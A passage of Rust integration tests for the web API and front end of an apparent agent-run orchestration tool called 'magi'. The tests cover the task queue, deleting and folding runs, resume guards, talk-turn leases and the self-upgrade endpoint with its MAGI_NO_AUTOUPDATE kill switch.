14004 let list = fx.get("/api/queue").await.json();
14005 let find = |id: &str| {
14006 list.as_array()
14007 .unwrap()
14008 .iter()
14009 .find(|v| v["id"] == id)
14010 .unwrap()
14011 .clone()
14012 };
14013 let leaf_view = find(&leaf.id);
14014 assert_eq!(
14015 leaf_view["waits_on"],
14016 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14017 );
14018 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14019 assert_eq!(
14020 find(&mid.id)["waits_on"],
14021 serde_json::json!([format!("{} (held)", root.short())])
14022 );
14023 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14024 }
14025
14026 #[tokio::test]
14027 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14028 let fx = Fixture::start().await;
14029 let q = fx.queue();
14030
14031 let mut t1 = Task::new(
14033 "Task 1".to_owned(),
14034 "Instruction 1".to_owned(),
14035 PathBuf::from("/repo"),
14036 Source::Human,
14037 );
14038 let run_id = "20260901-000000-r111";
14039 t1.runs.push(run_id.to_owned());
14040 write_run(&fx.runs(), run_id, RunStatus::Merged);
14041 q.put(&mut t1).expect("put t1");
14042
14043 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14045 assert_eq!(res.status, 204);
14046 assert!(res.body.is_empty(), "204 No Content has no body");
14047 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14048 assert!(
14049 fx.runs().join(run_id).exists(),
14050 "run directory must not be deleted when its task is deleted"
14051 );
14052
14053 let mut t2 = Task::new(
14055 "Task 2".to_owned(),
14056 "Instruction 2".to_owned(),
14057 PathBuf::from("/repo"),
14058 Source::Human,
14059 );
14060 t2.status = TaskStatus::Running;
14061 q.put(&mut t2).expect("put t2");
14062 let mut beat = crate::daemon::Status::new();
14063 beat.current = vec![crate::daemon::Current {
14064 task: t2.id.clone(),
14065 run: "20260901-000000-r222".to_owned(),
14066 }];
14067 beat.updated_at = jiff::Timestamp::now();
14068 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14069 .expect("publish a heartbeat");
14070 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14071 assert_eq!(res.status, 409);
14072 assert!(
14073 res.json()["error"]
14074 .as_str()
14075 .unwrap()
14076 .contains("live daemon")
14077 );
14078 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14079
14080 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14086 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14087 .expect("leave a stale heartbeat");
14088 let mut t3 = Task::new(
14089 "Task 3".to_owned(),
14090 "Instruction 3".to_owned(),
14091 PathBuf::from("/repo"),
14092 Source::Human,
14093 );
14094 t3.status = TaskStatus::Running;
14095 q.put(&mut t3).expect("put t3");
14096 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14097 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14098 assert_eq!(res.status, 204);
14099 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14100 assert!(
14101 q.claim(&t3.id).is_ok(),
14102 "the stale lock went with it, so the id is claimable again"
14103 );
14104
14105 let res = fx.delete("/api/queue/nonexistent").await;
14107 assert_eq!(res.status, 404);
14108 }
14109
14110 #[tokio::test]
14111 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14112 let fx = Fixture::start().await;
14113 let runs = fx.runs();
14114
14115 let run_id = "20260901-000000-fold";
14117 let mut state = RunState::new(
14118 PathBuf::from("/repo"),
14119 "main".to_owned(),
14120 "abc".to_owned(),
14121 "instruction".to_owned(),
14122 Config::default(),
14123 );
14124 state.id = run_id.to_owned();
14125 state.status = RunStatus::Merged;
14126 state.candidates.push(crate::run::Candidate {
14127 index: 0,
14128 label: 'A',
14129 agent: "a".to_owned(),
14130 branch: "b".to_owned(),
14131 worktree: PathBuf::from("/w"),
14132 summary: String::new(),
14133 stat: String::new(),
14134 files: 1,
14135 commits: 1,
14136 empty: false,
14137 failed: None,
14138 verified_noop: None,
14139 duration_ms: 0,
14140 folded: true,
14141 });
14142 let dir = runs.join(run_id);
14143 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14144 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14145 .expect("write artifact");
14146 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14147 .expect("write run.json");
14148
14149 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14151 assert_eq!(res.status, 204);
14152 assert!(res.body.is_empty(), "204 has no body");
14153 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14154
14155 let run_running = "20260901-000000-rung";
14160 write_run(&runs, run_running, RunStatus::Prep);
14161 let mut beat = crate::daemon::Status::new();
14162 beat.current = vec![crate::daemon::Current {
14163 task: "20260901-000000-task".to_owned(),
14164 run: run_running.to_owned(),
14165 }];
14166 beat.updated_at = jiff::Timestamp::now();
14167 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14168 .expect("publish a heartbeat");
14169 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14170 assert_eq!(res.status, 409);
14171 assert!(
14172 res.json()["error"]
14173 .as_str()
14174 .unwrap()
14175 .contains("live daemon"),
14176 "the refusal must say who is holding it"
14177 );
14178 assert!(
14179 runs.join(run_running).exists(),
14180 "a run in flight keeps its directory"
14181 );
14182
14183 let run_unfolded = "20260901-000000-unfd";
14185 let mut state2 = RunState::new(
14186 PathBuf::from("/repo"),
14187 "main".to_owned(),
14188 "abc".to_owned(),
14189 "instruction".to_owned(),
14190 Config::default(),
14191 );
14192 state2.id = run_unfolded.to_owned();
14193 state2.status = RunStatus::Ready;
14194 state2.candidates.push(crate::run::Candidate {
14195 index: 0,
14196 label: 'A',
14197 agent: "a".to_owned(),
14198 branch: "b".to_owned(),
14199 worktree: PathBuf::from("/w"),
14200 summary: String::new(),
14201 stat: String::new(),
14202 files: 1,
14203 commits: 1,
14204 empty: false,
14205 failed: None,
14206 verified_noop: None,
14207 duration_ms: 0,
14208 folded: false,
14209 });
14210 let dir2 = runs.join(run_unfolded);
14211 std::fs::create_dir_all(&dir2).expect("create dir2");
14212 std::fs::write(
14213 dir2.join("run.json"),
14214 serde_json::to_string(&state2).unwrap(),
14215 )
14216 .expect("write run.json");
14217
14218 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14219 assert_eq!(res.status, 409);
14220 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14221 assert!(dir2.exists(), "unfolded run directory is kept");
14222
14223 let res = fx.delete("/api/runs/nonexistent").await;
14225 assert_eq!(res.status, 404);
14226 }
14227
14228 #[test]
14237 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14238 let start = APP_JS
14239 .find("function renderStats() {")
14240 .expect("renderStats");
14241 let end = start
14242 + APP_JS[start..]
14243 .find("function statsTile(")
14244 .expect("the next top-level function");
14245 let body = &APP_JS[start..end];
14246
14247 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14248 let gate_end = gate_start
14249 + body[gate_start..]
14250 .find("}\n renderStatsQueue")
14251 .expect("the gate's own closing brace, right before the unconditional call");
14252 let gated = &body[gate_start..gate_end];
14253
14254 assert_eq!(
14255 body.matches("renderStatsQueue(").count(),
14256 1,
14257 "renderStats must call renderStatsQueue exactly once: {body}"
14258 );
14259 assert!(
14260 !gated.contains("renderStatsQueue"),
14261 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14262 run-derived panels on an empty run history - the queue panel has to render \
14263 regardless: {gated}"
14264 );
14265 }
14266
14267 #[test]
14268 fn web_ui_delete_contract_in_front_end() {
14269 assert!(APP_JS.contains("deleteRun:"));
14271 assert!(APP_JS.contains("deleteTask:"));
14272
14273 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14275 ..APP_JS.find("function renderRuns").unwrap()];
14276 assert!(!run_cards_slice.to_lowercase().contains("delete"));
14277
14278 assert!(APP_JS.contains("renderRunDelete"));
14280 assert!(APP_JS.contains("runDeleteReason"));
14281 assert!(APP_JS.contains("magi fold"));
14282 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14283
14284 assert!(APP_JS.contains("cancel.focus"));
14286 assert!(APP_JS.contains("armedRunDelete"));
14287 assert!(APP_JS.contains("renderTaskDeleteBox"));
14288 assert!(APP_JS.contains("armed${cap(key)}"));
14289
14290 assert!(APP_JS.contains("disabled: status === \"running\""));
14292 }
14293
14294 #[test]
14314 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14315 let build = APP_JS
14316 .find("function createRunCard")
14317 .expect("createRunCard exists");
14318 let update = APP_JS
14319 .find("function updateRunCard")
14320 .expect("updateRunCard exists");
14321 let end = APP_JS
14322 .find("function renderRuns")
14323 .expect("renderRuns exists");
14324
14325 let builder = &APP_JS[build..update];
14327 let open = builder.find("refs = {").expect("createRunCard sets refs");
14328 let literal = &builder[open + "refs = {".len()..];
14329 let close = literal.find('}').expect("the refs literal is closed");
14330 let published: HashSet<&str> = literal[..close]
14331 .split(',')
14332 .filter_map(|entry| entry.split(':').next())
14334 .map(str::trim)
14335 .filter(|name| !name.is_empty())
14336 .collect();
14337 assert!(
14338 published.len() > 5,
14339 "the refs literal did not parse into names: {published:?}"
14340 );
14341
14342 let mut used: Vec<&str> = Vec::new();
14345 let updaters = &APP_JS[update..end];
14346 for (at, _) in updaters.match_indices("r.") {
14347 let before = updaters[..at].chars().next_back();
14350 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14351 continue;
14352 }
14353 let rest = &updaters[at + 2..];
14354 let len = rest
14355 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14356 .unwrap_or(rest.len());
14357 if len > 0 {
14358 used.push(&rest[..len]);
14359 }
14360 }
14361 assert!(
14362 used.len() > 5,
14363 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14364 );
14365
14366 let missing: Vec<&str> = used
14367 .iter()
14368 .copied()
14369 .filter(|name| !published.contains(name))
14370 .collect();
14371 assert!(
14372 missing.is_empty(),
14373 "a run card's updater reaches for {missing:?}, which `createRunCard` \
14374 never put in `refs` - every card will throw and the list will \
14375 render empty under a count line that says otherwise. Published: \
14376 {published:?}"
14377 );
14378 }
14379
14380 #[tokio::test]
14381 async fn folding_from_the_phone_reports_what_it_removed() {
14382 let fx = Fixture::start().await;
14383 let runs = fx.runs();
14384
14385 let id = "20260901-000000-fold";
14389 write_run(&runs, id, RunStatus::Stalled);
14390 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14391 assert_eq!(res.status, 200);
14392 assert_eq!(res.json()["removed_count"], 0);
14393 assert_eq!(res.json()["run"], id);
14394 assert!(
14395 runs.join(id).exists(),
14396 "a fold keeps the run's record; only the worktrees go"
14397 );
14398 }
14399
14400 #[tokio::test]
14401 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14402 let fx = Fixture::start().await;
14403 let runs = fx.runs();
14404 let wt = fx.home.path().join("wt").join("magi").join("dead");
14405 let id = "20260901-000000-dead";
14406 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14407 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14408 std::fs::create_dir_all(&wt).expect("worktree dir");
14409
14410 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14411 assert_eq!(res.status, 200, "{}", res.body);
14412 assert!(
14413 res.json()["removed_count"].as_u64().unwrap() > 0,
14414 "the worktree this build could not read a state for still went"
14415 );
14416 assert!(
14417 !runs.join(id).exists(),
14418 "an unreadable run has no candidate list to fold selectively, so \
14419 the whole record goes - same as `magi fold` on the CLI"
14420 );
14421 }
14422
14423 #[tokio::test]
14424 async fn deleting_an_unreadable_run_removes_it_wholesale() {
14425 let fx = Fixture::start().await;
14426 let runs = fx.runs();
14427 let wt = fx.home.path().join("wt").join("magi").join("gone");
14428 let id = "20260901-000000-gone";
14429 std::fs::create_dir_all(runs.join(id)).expect("run dir");
14430 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14431 std::fs::create_dir_all(&wt).expect("worktree dir");
14432
14433 let res = fx.delete(&format!("/api/runs/{id}")).await;
14434 assert_eq!(res.status, 204, "{}", res.body);
14435 assert!(!runs.join(id).exists(), "the broken record is gone");
14436 assert!(!wt.exists(), "its worktree is gone too");
14437 }
14438
14439 #[tokio::test]
14440 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14441 let fx = Fixture::start().await;
14442 let runs = fx.runs();
14443 let id = "20260901-000000-live";
14444 write_run(&runs, id, RunStatus::Implementing);
14445
14446 let mut beat = crate::daemon::Status::new();
14447 beat.current = vec![crate::daemon::Current {
14448 task: "20260901-000000-task".to_owned(),
14449 run: id.to_owned(),
14450 }];
14451 beat.updated_at = jiff::Timestamp::now();
14452 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14453 .expect("publish a heartbeat");
14454
14455 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14456 assert_eq!(res.status, 409);
14457 assert!(
14458 res.json()["error"]
14459 .as_str()
14460 .unwrap()
14461 .contains("live daemon"),
14462 "folding under a running agent would pull its worktree away"
14463 );
14464 }
14465
14466 #[tokio::test]
14467 async fn fold_merged_requires_a_pr_url() {
14468 let fx = Fixture::start().await;
14469 let runs = fx.runs();
14470 let id = "20260901-000000-nourl";
14471 write_run(&runs, id, RunStatus::Blocked);
14472
14473 let res = fx
14474 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
14475 .await;
14476 assert_eq!(res.status, 400, "{}", res.body);
14477
14478 let blank = fx
14479 .post(
14480 &format!("/api/runs/{id}/fold-merged"),
14481 Some(r#"{"pr_url":" "}"#),
14482 )
14483 .await;
14484 assert_eq!(blank.status, 400, "{}", blank.body);
14485 }
14486
14487 #[tokio::test]
14488 async fn fold_merged_is_404_for_an_unknown_run() {
14489 let fx = Fixture::start().await;
14490 let res = fx
14491 .post(
14492 "/api/runs/nosuchrun/fold-merged",
14493 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14494 )
14495 .await;
14496 assert_eq!(res.status, 404, "{}", res.body);
14497 }
14498
14499 #[tokio::test]
14500 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
14501 let fx = Fixture::start().await;
14502 let runs = fx.runs();
14503 let id = "20260901-000000-livemerge";
14504 write_run(&runs, id, RunStatus::Blocked);
14505
14506 let mut beat = crate::daemon::Status::new();
14507 beat.current = vec![crate::daemon::Current {
14508 task: "20260901-000000-task".to_owned(),
14509 run: id.to_owned(),
14510 }];
14511 beat.updated_at = jiff::Timestamp::now();
14512 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14513 .expect("publish a heartbeat");
14514
14515 let res = fx
14516 .post(
14517 &format!("/api/runs/{id}/fold-merged"),
14518 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14519 )
14520 .await;
14521 assert_eq!(res.status, 409, "{}", res.body);
14522 assert!(
14523 res.json()["error"]
14524 .as_str()
14525 .unwrap()
14526 .contains("live daemon"),
14527 "correcting a run's merge underneath a running agent would race \
14528 whatever it is doing to the same `status`/`merge` fields"
14529 );
14530 }
14531
14532 #[tokio::test]
14537 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
14538 let fx = Fixture::start().await;
14539 let runs = fx.runs();
14540 let id = "20260901-000000-unconfirmed";
14541 write_run(&runs, id, RunStatus::Blocked);
14542
14543 let res = fx
14544 .post(
14545 &format!("/api/runs/{id}/fold-merged"),
14546 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
14547 )
14548 .await;
14549 assert_eq!(res.status, 400, "{}", res.body);
14550 assert_eq!(
14551 read_run(&runs, id).unwrap().status,
14552 RunStatus::Blocked,
14553 "a pull request that could not be confirmed merged must leave \
14554 the run exactly where it was"
14555 );
14556 }
14557
14558 #[tokio::test]
14559 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
14560 let fx = Fixture::start().await;
14561 let runs = fx.runs();
14562
14563 for (status, word) in [
14569 (RunStatus::Merged, "merged"),
14570 (RunStatus::Ready, "ready"),
14571 (RunStatus::Failed, "failed"),
14572 ] {
14573 let id = format!("20260901-000000-{}", &word[..4]);
14574 write_run(&runs, &id, status);
14575 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
14576 assert_eq!(res.status, 409, "{word} must not be resumable");
14577 let err = res.json()["error"].as_str().unwrap().to_owned();
14578 assert!(err.contains(word), "the refusal names the status: {err}");
14579 }
14580
14581 let mid = "20260901-000000-midf";
14586 write_run(&runs, mid, RunStatus::Reviewing);
14587 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
14588 assert_eq!(res.status, 202, "an interrupted run is resumable");
14589 }
14590
14591 #[tokio::test]
14592 async fn resume_is_refused_while_the_loop_is_running() {
14593 let fx = Fixture::start().await;
14594 let runs = fx.runs();
14595 let stalled = "20260901-000000-stal";
14596 write_run(&runs, stalled, RunStatus::Stalled);
14597
14598 let mut beat = crate::daemon::Status::new();
14602 beat.current = vec![crate::daemon::Current {
14603 task: "20260901-000000-task".to_owned(),
14604 run: "20260901-000000-othr".to_owned(),
14605 }];
14606 beat.updated_at = jiff::Timestamp::now();
14607 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14608 .expect("publish a heartbeat");
14609
14610 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
14611 assert_eq!(res.status, 409);
14612 let err = res.json()["error"].as_str().unwrap().to_owned();
14613 assert!(err.contains("othr"), "it names what the loop is on: {err}");
14614 assert!(err.contains("stop it first"), "{err}");
14615 }
14616
14617 #[test]
14618 fn a_run_cannot_be_resumed_twice_at_once() {
14619 let home = TempDir::new().expect("temp home");
14620 let ui = Ui::new(
14621 Queue::at(home.path().join("queue")),
14622 Questions::at(home.path().join("questions")),
14623 Talks::at(home.path().join("talks")),
14624 home.path().join("runs"),
14625 home.path().to_path_buf(),
14626 PathBuf::from("/repo"),
14627 )
14628 .with_worktrees_root(home.path().join("wt"));
14629 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
14630 let again = ui.begin_resume("20260901-000000-once");
14631 assert!(again.is_err(), "a second tap must not start a second graph");
14632 drop(first);
14633 assert!(
14634 ui.begin_resume("20260901-000000-once").is_ok(),
14635 "and the claim is released when the attempt ends"
14636 );
14637 }
14638
14639 #[test]
14640 fn talk_thinking_tracks_only_its_held_turn_claim() {
14641 let home = TempDir::new().expect("temp home");
14642 let ui = Ui::new(
14643 Queue::at(home.path().join("queue")),
14644 Questions::at(home.path().join("questions")),
14645 Talks::at(home.path().join("talks")),
14646 home.path().join("runs"),
14647 home.path().to_path_buf(),
14648 PathBuf::from("/repo"),
14649 )
14650 .with_worktrees_root(home.path().join("wt"));
14651 let id = "20260901-000000-once";
14652
14653 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
14654 let turn = ui.begin_talk_turn(id).expect("claim turn");
14655 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
14656 assert!(
14657 !ui.is_thinking("20260901-000000-other"),
14658 "one talk's turn does not make another talk busy"
14659 );
14660 drop(turn);
14661 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
14662 }
14663
14664 #[test]
14665 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
14666 let home = TempDir::new().expect("temp home");
14667 let talks = Talks::at(home.path().join("talks"));
14668 let ui = Ui::new(
14669 Queue::at(home.path().join("queue")),
14670 Questions::at(home.path().join("questions")),
14671 talks.clone(),
14672 home.path().join("runs"),
14673 home.path().to_path_buf(),
14674 PathBuf::from("/repo"),
14675 )
14676 .with_worktrees_root(home.path().join("wt"));
14677 let id = "20260901-000000-cross";
14678
14679 let other = Talks::at(home.path().join("talks"))
14680 .claim_turn(id)
14681 .expect("claim")
14682 .expect("the other process wins");
14683 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
14684 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
14685 assert!(
14686 matches!(
14687 ui.begin_talk_turn_unless_pending(id).expect("start"),
14688 TalkTurnStart::Foreign
14689 ),
14690 "a foreign holder is refused, not queued behind"
14691 );
14692 assert!(
14693 !ui.talk_turns.lock().unwrap().live.contains(id),
14694 "a refused claim leaves no in-process entry behind"
14695 );
14696 drop(other);
14697 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
14698 assert!(talks.turn_held(id), "the web turn holds the lease");
14699 drop(turn);
14700 assert!(
14701 !talks.turn_held(id),
14702 "dropping the guard releases the lease"
14703 );
14704 }
14705
14706 #[test]
14707 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
14708 let home = TempDir::new().expect("temp home");
14709 let talks = Talks::at(home.path().join("talks"));
14710 let ui = Ui::new(
14711 Queue::at(home.path().join("queue")),
14712 Questions::at(home.path().join("questions")),
14713 talks.clone(),
14714 home.path().join("runs"),
14715 home.path().to_path_buf(),
14716 PathBuf::from("/repo"),
14717 )
14718 .with_worktrees_root(home.path().join("wt"));
14719 let id = "20260901-000000-order";
14720 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
14721 let slots = ui.talk_turns.lock().unwrap();
14723 let dropper = std::thread::spawn(move || drop(turn));
14724 let start = std::time::Instant::now();
14725 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
14726 std::thread::sleep(Duration::from_millis(5));
14727 }
14728 assert!(!talks.turn_held(id), "the lease is released first");
14729 assert!(slots.live.contains(id), "the slot is still held meanwhile");
14730 drop(slots);
14731 dropper.join().expect("join");
14732 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
14733 }
14734
14735 #[tokio::test]
14736 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
14737 let fx = Fixture::start().await;
14738 let mut beat = crate::daemon::Status::new();
14742 beat.pid = 4321;
14743 beat.updated_at = jiff::Timestamp::now();
14744 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14745 .expect("publish a heartbeat");
14746
14747 let res = fx.post("/api/upgrade", None).await;
14748 assert_eq!(res.status, 409);
14749 let err = res.json()["error"].as_str().unwrap().to_owned();
14750 assert!(err.contains("4321"), "the refusal names the owner: {err}");
14751 assert!(err.contains("old one against the same queue"), "{err}");
14752 }
14753
14754 #[test]
14761 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
14762 assert!(!should_spawn_recheck(&crate::config::Update {
14763 mode: UpdateMode::Off,
14764 interval: None,
14765 }));
14766
14767 unsafe {
14770 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14771 }
14772 let killed = should_spawn_recheck(&crate::config::Update {
14773 mode: UpdateMode::Notify,
14774 interval: None,
14775 });
14776 unsafe {
14777 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14778 }
14779 assert!(
14780 !killed,
14781 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
14782 one-time startup check"
14783 );
14784
14785 assert!(should_spawn_recheck(&crate::config::Update {
14786 mode: UpdateMode::Notify,
14787 interval: None,
14788 }));
14789 }
14790
14791 #[test]
14797 fn recheck_poll_period_tracks_a_short_configured_interval() {
14798 let short = crate::config::Update {
14799 mode: UpdateMode::Notify,
14800 interval: Some("1m".to_owned()),
14801 };
14802 let period = recheck_poll_period(&short);
14803 assert!(
14804 period <= Duration::from_secs(30),
14805 "a one-minute interval must wake the task far sooner than the \
14806 default ceiling, or the deck would not notice within the \
14807 interval the operator configured: got {period:?}"
14808 );
14809
14810 let default = crate::config::Update {
14811 mode: UpdateMode::Notify,
14812 interval: None,
14813 };
14814 assert_eq!(
14815 recheck_poll_period(&default),
14816 UPDATE_RECHECK_POLL_MAX,
14817 "the default day-long interval should poll at the (capped) \
14818 ceiling rather than needlessly often"
14819 );
14820 }
14821
14822 #[test]
14830 fn recheck_skips_the_network_before_the_interval_elapses() {
14831 let dir = TempDir::new().expect("temp dir");
14832 let path = dir.path().join("state.json");
14833 let state = kaishin::UpdateCheckState {
14834 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
14835 last_known_latest: None,
14836 last_known_url: None,
14837 };
14838 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
14839
14840 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
14841 assert!(
14842 !update_recheck_due(&checker, None),
14843 "a check made moments ago must not be repeated before the \
14844 configured interval elapses"
14845 );
14846 }
14847
14848 #[test]
14854 fn recheck_defers_to_an_upgrade_already_in_flight() {
14855 let dir = TempDir::new().expect("temp dir");
14856 let path = dir.path().join("state.json");
14857 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
14858 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
14859
14860 assert!(
14861 !update_recheck_due(&checker, Some(&progress)),
14862 "a recheck must not run while an upgrade this deck started is \
14863 still moving"
14864 );
14865 }
14866
14867 #[tokio::test]
14868 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
14869 unsafe {
14881 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
14882 }
14883 let fx = Fixture::start().await;
14884 let res = fx.post("/api/upgrade", None).await;
14885 unsafe {
14886 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
14887 }
14888 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
14889 let body = res.json();
14890 assert!(body["to"].is_null(), "there was no release to move to");
14891 assert!(body["parked"].is_null(), "and nothing was parked");
14892 assert!(
14893 body["detail"]
14894 .as_str()
14895 .unwrap()
14896 .contains("disabled by MAGI_NO_AUTOUPDATE"),
14897 "{body:?}"
14898 );
14899 }
14900
14901 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
14902 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
14903 p.stage = stage;
14904 p
14905 }
14906
14907 #[test]
14908 fn busy_stages_match_the_ui_set() {
14909 use crate::updater::Stage;
14910 assert!(APP_JS.contains(
14911 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
14912 ));
14913 for s in [
14914 Stage::Downloading,
14915 Stage::Replaced,
14916 Stage::Parking,
14917 Stage::Restarting,
14918 ] {
14919 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
14920 }
14921 for s in [Stage::Done, Stage::Failed] {
14922 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
14923 }
14924 assert!(upgrade_in_motion(None).is_none());
14925 }
14926
14927 #[tokio::test]
14928 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
14929 use crate::updater::Stage;
14930 for stage in [
14931 Stage::Downloading,
14932 Stage::Replaced,
14933 Stage::Parking,
14934 Stage::Restarting,
14935 ] {
14936 let fx = Fixture::start().await;
14937 let seeded = seeded_progress(stage);
14938 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
14939 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14940 .expect("read");
14941
14942 let res = fx.post("/api/upgrade", None).await;
14943 assert_eq!(res.status, 409, "{stage:?}");
14944 let err = res.json()["error"].as_str().unwrap().to_owned();
14945 assert!(err.contains("already in progress"), "{err}");
14946 assert!(err.contains(stage.as_str()), "{err}");
14947
14948 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
14949 .expect("read");
14950 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
14951 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
14952 .unwrap_or_default();
14953 assert!(!log.contains("signalling HANDOVER"), "{log}");
14954 }
14955 }
14956
14957 #[tokio::test]
14958 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
14959 use crate::updater::Stage;
14960 let repo = TempDir::new().expect("repo dir");
14961 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14962 .expect("write magi.toml");
14963 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14964 for stage in [Stage::Done, Stage::Failed] {
14965 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
14966 let res = fx.post("/api/upgrade", None).await;
14967 assert_eq!(res.status, 200, "{stage:?}");
14968 }
14969 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
14971 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
14972 }
14973
14974 #[tokio::test]
14975 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
14976 let repo = TempDir::new().expect("repo dir");
14992 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
14993 .expect("write magi.toml");
14994 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
14995
14996 let res = fx.post("/api/upgrade", None).await;
15002 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15003 let body = res.json();
15004 assert!(body["to"].is_null(), "there was no release to move to");
15005 assert!(body["parked"].is_null(), "and nothing was parked");
15006 assert!(
15007 body["detail"]
15008 .as_str()
15009 .unwrap()
15010 .contains("nothing restarted"),
15011 "{body:?}"
15012 );
15013 }
15014
15015 #[tokio::test]
15016 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15017 let repo = TempDir::new().expect("repo dir");
15022 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15023 .expect("write magi.toml");
15024 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15025
15026 let health = fx.get("/api/health").await.json();
15027 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15028 assert_eq!(
15029 health["update"]["available"], false,
15030 "checking is off, which reads as \"unknown\", not \"none\""
15031 );
